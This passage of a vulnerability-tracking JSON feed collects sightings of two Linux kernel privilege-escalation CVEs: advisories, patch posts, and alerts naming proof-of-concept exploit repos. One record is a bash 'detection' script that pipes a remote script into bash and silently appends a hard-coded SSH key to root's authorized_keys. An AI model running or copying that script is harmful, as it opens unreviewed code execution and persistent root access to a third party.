\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 varName \u0438 varType. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b\n\nBDU:2026-06814\nCVE-2026-31156\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u0435\u043c \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0445\u043e\u0434\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438;\n- \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0443 \u0438\u0437 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0441\u0435\u0442\u0435\u0439;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442);\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN).", "creation_timestamp": "2026-05-15T13:02:47.000000Z"}, {"uuid": "12f4d02a-a5fc-4a7d-b70d-062676c4be0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vino-tinto.bsky.social/post/3mlvqpa6o422z", "content": " #CopyFail ( #CVE-2026-31431 ) Patches Released\nUpdate: Patched kernels are now in production\n \n2026-05-01 21:07 UTC \u2014 The patched kernels are now rolling out to production repositories/mirrors. You no longer need to enable the testing repo to get them.", "creation_timestamp": "2026-05-15T16:25:51.592191Z"}, {"uuid": "3179aaa5-5315-42c4-911a-f95386064d0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vino-tinto.bsky.social/post/3mlwg7l5fjk2x", "content": "Just run:\n \n  sudo dnf clean metadata && sudo dnf upgrade\n  sudo reboot\n \n\u203b almalinux.org/blog/2026-05...\n\u56f0\u3063\u305f\u3082\u3093\u3060\u3002(--;;\n #CopyFail #CVE-2026-31431", "creation_timestamp": "2026-05-15T22:52:14.508798Z"}, {"uuid": "031eb8a5-4c2d-4901-a430-b9e6085e10ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/84386", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail-Linux-PrivEsc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a John-Popovici\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-15 23:42:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA demo and explanation of CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-16T00:00:04.000000Z"}, {"uuid": "5a2b49fe-a9a8-4773-acd7-a28d8c450cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84403", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-rs\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Liverwortenuresis371\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-16 03:59:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit and detect CVE-2026-31431 vulnerabilities using a static binary that monitors system integrity and bypasses PAM authentication.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-16T04:00:05.000000Z"}, {"uuid": "8480bd10-d9ce-4fc9-8f32-88e62b79493d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/siyeonized.bsky.social/post/3mlyui2k5ek2z", "content": "voy a ver si ma\u00f1ana me pongo a intentar explotar la CVE-2026-46333 o  CVE-2026-31431 que parec\u00eda sencilla para m\u00ed TFM", "creation_timestamp": "2026-05-16T22:11:23.186892Z"}, {"uuid": "258a78ee-f13a-49ac-9641-34eb0b4306b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84516", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Koke-Seas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 00:31:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEntender el CVE-2026-31431 y realizar las siguientes tareas\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T01:00:04.000000Z"}, {"uuid": "aedfab38-e2ba-4f65-8fba-746992f72739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/7cUPikWYVy9ZWytWyAxwh66xAlCEPyyOlWhVl_FYZCzkhJ4", "content": "", "creation_timestamp": "2026-05-16T03:00:05.000000Z"}, {"uuid": "b5c35316-63a1-4526-80a2-26ae3258eb19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/qFnncewX_FdOxDivGoEqJX19AvA6N2dSwzORt9UZIQWFUQU", "content": "", "creation_timestamp": "2026-05-17T02:07:47.000000Z"}, {"uuid": "41bea207-03da-431b-a6ed-ef39b284c7d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/M2s3PphtTCD9brru-X6QMyPesFMqQlhfbVnnLWpusEfiV5g", "content": "", "creation_timestamp": "2026-05-16T21:00:04.000000Z"}, {"uuid": "027d008d-5b12-49d0-9247-7fdc1ec62235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/84533", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a public-passwd\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Aurillium\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 06:55:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUse CVE-2026-46333 and CVE-2026-31431 to change any user's password.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T07:00:04.000000Z"}, {"uuid": "28eabb96-a880-452b-a428-3d17c3440386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84541", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Linux-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Dullpurple-sloop726\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 09:59:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit CVE-2026-31431 on Linux using a Rust implementation to achieve local privilege escalation via an arbitrary page cache write primitive.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T10:00:05.000000Z"}, {"uuid": "aed186a9-0def-4f02-a8f0-e34a1aa369a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3mm2i7sitqdt2", "content": "There's apparently another Linux LPE.\nDirtyDecrypt, also known as DirtyCBC, is a variant of CopyFail / DirtyFrag / Fragnesia.\nI suspect it may be CVE-2026-31635.\n\nI have not been able to get it to actually work on **any** Linux distro that I've tried.", "creation_timestamp": "2026-05-17T13:37:26.119261Z"}, {"uuid": "3737c1d3-1fbd-428c-87df-6820889b92b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/BIFzugM5LeF0e6B_pMrPZhP4YBZGHVlsiAyHoc_EkWiJ58i1", "content": "", "creation_timestamp": "2026-05-17T20:49:35.000000Z"}, {"uuid": "5a9de463-16a4-466b-8fab-7f709b8edffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mm3tgsl54a2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-46300: 56 interactions\nCVE-2026-42897: 54 interactions\nCVE-2026-31431: 43 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2025-55182: 18 interactions\nCVE-2026-31635: 5 interactions\nCVE-2025-53892: 4 interactions\n", "creation_timestamp": "2026-05-18T02:30:46.551160Z"}, {"uuid": "f29681d1-b0a1-4c37-8adc-2c27ade345d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mm3tgsl54a2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-46300: 56 interactions\nCVE-2026-42897: 54 interactions\nCVE-2026-31431: 43 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2025-55182: 18 interactions\nCVE-2026-31635: 5 interactions\nCVE-2025-53892: 4 interactions\n", "creation_timestamp": "2026-05-18T02:30:46.863169Z"}, {"uuid": "942b2e5c-bd7e-4c5a-97e2-ebdc6b78149f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31635", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mm4iuygtv22j", "content": "\ud83d\udcf0 Celah Kanan \"DirtyDecrypt\" pada Linux Berikan Akses Root, Kode PoC Resmi Dirilis\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/05/18/celah-dirtydecrypt-linux-mampu-eskalasi-akses-root/\n\n#beritaTeknologi #cve-2026-31635 #dirtycbc #dirtydecrypt #linuxKernel #localPrivilegeEscalat", "creation_timestamp": "2026-05-18T08:54:30.728465Z"}, {"uuid": "30073474-75ec-4ff2-a8b0-be0c8b9f6a7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84646", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a royayub\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-18 07:50:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLocal Privilege Escalation. Flips the running user's UID to 0 in /etc/passwd's page cache, then invokes su for a root shell.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-18T08:00:04.000000Z"}, {"uuid": "78a170aa-e80e-419a-a7e2-d1205da7e32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/reisenbauer/c2a317f1c884253d071bea4c5ea214d6", "content": "#!/bin/bash\n\n# https://ostechnix.com/debian-13-trixie-copy-fail-cve-2026-31431-vulnerability-fix/\n# Debian 13 Trixie: Patched via the security repository (Fixed in version 6.12.85-1).\n# Debian 12 Bookworm: Patched via the security repository (Fixed in version 6.1.170-1).\n# Debian 11 Bullseye: Patched via the security repository (Fixed in version 5.10.251-3).\n\n# set -euo pipefail\n\n# \u2500\u2500 Colour helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBOLD=\"\\033[1m\"; RED=\"\\033[91m\"; YELLOW=\"\\033[93m\"\nGREEN=\"\\033[92m\"; CYAN=\"\\033[96m\"; RESET=\"\\033[0m\"\n\nclear\nprintf \"${BOLD}CVE-2026-31431 'Copy Fail' \u2014 Vulnerability Detection${RESET}\\n\"\nprintf \"Running as uid=%d, euid=%d\\n\" \"$UID\" \"$EUID\"\nprintf \"Host: %s  Kernel: %s\\n\\n\" \"$(hostname)\" \"$(uname -r)\"\n. /etc/os-release\n\nif [ ! ${UID} -eq 0 ]; then\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\" \"This script needs to be run as root.\"\n    sudo $0\n    exit\nfi\n\nheader() {\n    printf \"\\n${BOLD}${CYAN}=== %s ===${RESET}\\n\" \"$1\"\n}\n\ntest_internet() {\n local error=1\n while [ ! $error -eq 0 ]; do\n   curl -Ss https://raw.githubusercontent.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script/refs/heads/main/cve-2026-31431-detect.sh|grep check_kernel_config &> /dev/null\n   error=$?\n   if [ $error -eq 0 ]; then\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Internet is reachable.\"\n   else\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\\n\" \"No Internet connectivity.\" \"This Script needs internet access to update the system.\"\n    exit 255\n   fi\n   sleep 1\n done\n}\n\n\ninstall_ssh() {\n  header \"Ansible SSH Key\"\n  if [ ! -f /root/.ssh/authorized_keys ] || ! grep -q \"ovlQIQx4a+vE5+sPzwxNnikEp\" /root/.ssh/authorized_keys ; then\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\\n\" \"Ansible SSH Key not installed.\" \"SSH Key for ansible is not installed, installing it.\"\n    printf \"# Ansible SSH Key\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGCh4xaVVVkRWQiyvovlQIQx4a+vE5+sPzwxNnikEp/h\\n\" | tee -a /root/.ssh/authorized_keys > /dev/null\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Ansible SSH Key is installed.\"\n  else\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Ansible SSH Key is installed.\"\n  fi\n}\n\nmain() {\n  curl -qsS https://raw.githubusercontent.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script/refs/heads/main/cve-2026-31431-detect.sh |bash\n  if [ $? -eq 0 ]; then\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Operatingsystem is up2date.\"\n    return 0\n  fi\n  header \"Linux Kernel\"\n\n  local release\n  release=\"$(uname -r)\"\n  local fixed_version=0\n\n  local ver_clean\n  local is_safe=0\n  local changed=1\n\n  ver_clean=\"$(echo \"$release\" | grep -oE '^[0-9]+\\.[0-9]+(\\.[0-9]+)?')\"\n  local major minor\n  major=\"$(echo \"$ver_clean\" | cut -d. -f1)\"\n  minor=\"$(echo \"$ver_clean\" | cut -d. -f2)\"\n  third=\"$(echo \"$ver_clean\" | cut -d. -f3)\"\n  . /etc/os-release\n  printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Detected ${PRETTY_NAME}\" \"Running Kernel $ver_clean\"\n\n  printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Starting Kernel Upgrades ...\" \"Kernel is beeing updated, please wait.\"\n\n  # Rocky Linux\n  if [ -f /etc/rocky-release ]; then\n\tdnf --refresh update \"kernel*\" -y\n\tchanged=1\n  fi\n\n\n  # Suse\n  if [ -f /etc/SUSE-brand ]; then\n    zypper refresh\n    zypper patch -y\n  fi\n\n\n  # Alpine Linux\n  if [ -f /etc/alpine-release ]; then\n    apk update\n    apk upgrade\n  fi\n\n  # Debian\n  if [ -f /etc/debian_version ]; then\n    if [ $third -gt $fixed_version ] || [ $third -eq $fixed_version ]; then\n        printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Kernel is patched agains CopyFail.\" \"Nothing todo on this machine.\"\n\treturn 0\n    else\n      apt update\n      apt install --only-upgrade linux-image-amd64 linux-headers-amd64\n      changed=1\n    fi\n  fi\n\n  # Reboot\n  if [ $changed -eq 1 ]; then\n        printf \"  ${RED}!${RESET} %s\\n    %s\\n\\n\" \"Please reboot this machine.\" \"Press any key to reboot.\"\n        read -n 1\n\t# reboot\n  fi\n}\n\ntest_internet\ninstall_ssh\nmain", "creation_timestamp": "2026-05-18T09:53:49.000000Z"}, {"uuid": "04472365-569b-47e6-b850-5836e25a2b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/artia13city.bsky.social/post/3mm4mm2va2z2a", "content": "\ud83d\udea8 Cyberattaques \u00e0 la une ! La France engage 200M\u20ac pour contrer la faille \"Copy Fail\" dans le noyau Linux (CVE-2026-31431) qui menace les syst\u00e8mes depuis 2017. Pendant ce temps, des packages npm de SAP ont \u00e9t\u00e9 compromis par le groupe TeamPCP, mettant en p\u00e9ril les secrets des d\u00e9veloppeurs. Restez vigi", "creation_timestamp": "2026-05-18T10:01:06.674939Z"}, {"uuid": "a3dcbdd4-e1b8-43b5-8c14-80d093d8a335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://t.me/true_secator/8213", "content": "\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 rxgk \u044f\u0434\u0440\u0430 Linux (\u043e\u043d\u0430 \u0436\u0435 DirtyDecrypt \u0438\u043b\u0438 DirtyCBC) \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Linux.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 V12 9 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430, \u043d\u043e \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043d\u0430\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442.\n\n\u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 CVE, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043d\u0435\u0442, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0423\u0438\u043b\u043b\u0430 \u0414\u043e\u0440\u043c\u0430\u043d\u0430, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438\u00a0CVE-2026-31635, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 